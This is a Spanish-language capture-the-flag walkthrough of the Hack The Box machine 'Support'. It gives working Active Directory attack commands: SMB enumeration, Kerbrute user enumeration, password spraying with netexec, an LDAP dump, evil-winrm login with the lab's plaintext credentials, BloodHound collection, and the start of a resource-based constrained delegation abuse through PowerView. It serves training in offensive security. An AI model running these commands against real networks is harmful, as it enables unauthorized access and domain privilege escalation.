Support
Resource-based Constrained Delegation
Escaneo inicial:
# Escaneo completo de todos los puertos
sudo nmap -sS -- min-rate 5000 -- open -vvv -n -Pn -p- 10.10.11.174-oG allPorts
Resultado en formato grepeable:

Con otra herramienta extraemos los puertos solamente abiertos:

Con los puertos solamente abiertos le hacemos un escaneo mas intensivo:
nmap -sCV -p53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49664,49668,49674,49679,49702,49742
10.10.11.174 -oN targeted
Resultado:

Miramos un poco mas de info de la maquina:

Nos enfrentamos ante un:

445/tcp open microsoft-ds?
Al mirar los archivos compartidos podemos ver:

Ahora descargamos el mas sospechoso que seria el .zip:
smbclient //10.10.11.174/support-tools -U guest

Miramos su contenido:

strings -e l UserInfo.exe
sirve para extraer y mostrar las cadenas de texto legibles (strings) contenidas en el archivo UserInfo.exe
, usando codificaciรณn "little endian" (Unicode UTF-16LE), que es comรบn en archivos binarios de Windows como ejecutables (.exe).

Posible usuario lo tenemos que verificar:
Usando Kerbrute:

En un archivo users guardamos dos usuarios:

./Kerbrute userenum -d support.htb --dc 10.10.11.174 users

Tenemos un usuario valido:
Ademรกs enumeramos usuarios con Kerbrute:
kerbrute userenum -d support.htb --dc 10.10.11.174 /opt/SecLists/Usernames/xato-net-10-million-usernames-dup.txt

Las agregamos a un archivo:

Ahora llevemos el .exe a una maquina Windows para ver que contiene:

Abrimos un puerto con python:

Una vez descargado lo ejecutamos:
O tambien podemos ver el codigo en c# con la herramienta ILSpy
.
๐ ยฟQuรฉ es ILSpy?
ILSpy es un descompilador de .NET para ver el cรณdigo fuente C# de ejecutables .NET
como UserInfo.exe
.
Pero ILSpy es una herramienta grรกfica de Windows, no un binario que puedas correr en Linux asรญ directamente (al menos no asรญ sin entorno GUI o emulaciรณn).


Si ejecutas el script, obtendrรกs la contraseรฑa original que fue cifrada y luego ofuscada.

Bien teniendo la contraseรฑa verificaremos si es del usuario ldap
:
netexec smb 10.10.11.174 -u ldap -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz'

Ahora verificaremos si el usuario pertenece al grupo ManagedUsers.
netexec winrm 10.10.11.174 -u ldap -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz'

Utilizando rpcclient
para conectarte a un servidor SMB en la direcciรณn IP 10.10.11.174
con las credenciales del usuario ldap
. El comando es:
rpcclient -U 'ldap%nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' 10.10.11.174

Enumeramos el gupo del dominio:

Bien ! Ahora sacaremos un txt todos los posibles usuarios para contemplarlo mejor:


Miraremos si otro usuario de estos tiene la misma contraseรฑa que ldap con netexec:
netexec smb 10.10.11.174 -u user -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' --continue-on-success

Ldap
Usando ldap:
ldapsearch -x -H ldap://10.10.11.174 -D 'ldap@support.htb' -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -b "DC=support,DC=htb"
Esto nos entrega info de todos los usuarios:

Y por ello haremos un grep para ver que usuario tiene algo interesante y nos topamos con el support:
ldapsearch -x -H ldap://10.10.11.174 -D 'ldap@support.htb' -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -b "DC=support,DC=htb" | grep -i "samaccountname: support" -B 37

Con estas credenciales vamos a verificar si alguno de los usuarios de nuestro diccionario pertenece al grupo ManagedUsers:
netexec winrm 10.10.11.174 -u user -p 'Ironside47pleasure40Watchful' --continue-on-success
Bingo!!

Bueno ahora que sabemos ello entramos con evil-winrm:
evil-winrm -i 10.10.11.174 -u 'support' -p 'Ironside47pleasure40Watchful'

ADMINISTRATOR
De momento no hay nada habilitado para abusar de algรบn privilegiรณ:

Para esto prenderemos la db de Neo4j y Bloodhound:


Descargar toda DataBase con SharpHound
El .exe lo descargamos en este repositorio, y lo pasamos a la maquina Windows.

Comando para decirle a la maquina victima que descargue todos los grupos etc, en un comprimido:
*Evil-WinRM* PS C:\Users\support\tmp> ./SharpHound.exe -c All

Subiendo al Bloodhound

Pero como sabemos pertenecemos al grupo:

Por lo cual lo miraremos en la interfaz:


Pasamos el primer binario:

Ejecutamos:
Import-Module .\Powermad.ps1
New-MachineAccount -MachineAccount SERVICEA -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose
Siguiente descarga:
Lo pasamos al Windows:

Lo ejecutamos:
Import-Module .\PowerView.ps1
Miramos si todo esta conforme:
Get-DomainComputer SERVICEA

Todo conforme :)
Seguimos guardamos en esta variable la cadena SID:
$ComputerSid = Get-DomainComputer SERVICEA -Properties objectsid | Select -Expand objectsid
Using powerview
bash
$ComputerSid = Get-DomainComputer FAKECOMPUTER -Properties objectsid | Select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$ComputerSid)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer $targetComputer | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
#Check that it worked
Get-DomainComputer $targetComputer -Properties 'msds-allowedtoactonbehalfofotheridentity'
msds-allowedtoactonbehalfofotheridentity
----------------------------------------
{1, 0, 4, 128...}
Last updated